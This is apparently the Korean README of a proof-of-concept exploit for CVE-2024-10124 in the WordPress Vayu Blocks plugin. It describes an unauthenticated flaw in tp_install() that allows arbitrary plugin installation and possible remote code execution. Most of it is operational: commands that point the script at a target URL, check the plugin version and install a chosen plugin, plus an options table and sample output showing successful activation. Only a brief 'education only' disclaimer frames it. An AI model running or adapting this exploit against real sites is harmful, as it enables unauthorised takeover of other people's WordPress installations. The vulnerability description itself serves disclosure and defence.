nxploited/cve-2024-10124-pocCVE-2024-10124에 대한 개념 증명 익스플로잇으로, WordPress Vayu Blocks 플러그인에서 승인되지 않은 플러그인 설치 및 활성화를 허용하여 잠재적으로 원격 코드 실행을 달성할 수 있습니다.
Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce 플러그인은 1.1.1 이하 모든 버전에서 tp_install() 함수에 대한 기능(capability) 확인이 누락되어 있어, 인증되지 않은 공격자가 임의의 플러그인을 설치하고 활성화할 수 있습니다. 이 취약점을 악용하여 다른 취약한 플러그인이 설치 및 활성화되어 있다면 원격 코드 실행까지 달성할 수 있습니다. 이 취약점은 1.1.1 버전에서 부분적으로 패치되었습니다.
python CVE-2024-10124.py -u http://192.168.100.74/wordpress --check-version
이 명령은 vayu-blocks 플러그인의 버전을 확인하여 대상 사이트가 취약한지 판별합니다.
python CVE-2024-10124.py -u http://192.168.100.74/wordpress
기본 플러그인인 hello-dolly를 설치합니다.
python CVE-2024-10124.py -u http://192.168.100.74/wordpress -p plugin_name
대상 사이트에 plugin_name 플러그인을 설치합니다.
| 🔍 | 명령어 | 설명 | 예시 |
|---|---|---|---|
| 🌐 | -u or --url | WordPress 사이트의 대상 URL을 지정합니다. | -u http://192.168.100.74/wordpress |
| 🔒 | --check-version | 버전을 기준으로 사이트가 취약한지 확인합니다. | -u http://192.168.100.74/wordpress --check-version |
| ⚙️ | -p or --plugin | 플러그인 이름을 지정합니다 (기본값: hello-dolly). | -u http://192.168.100.74/wordpress -p plugin_name |
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://192.168.100.74/wordpress)
-p PLUGIN, --plugin PLUGIN
Plugin name (default: hello-dolly)
--check-version Check if the site is vulnerable based on plugin version
Response Status Code: 200
The plugin has been successfully uploaded and activated.
Response Content: "http:\/\/192.168.100.74\/wordpress"
이 스크립트는 교육 목적으로만 제공됩니다. 작성자는 이 스크립트의 오용으로 인해 발생한 어떠한 손해에도 책임을 지지 않습니다.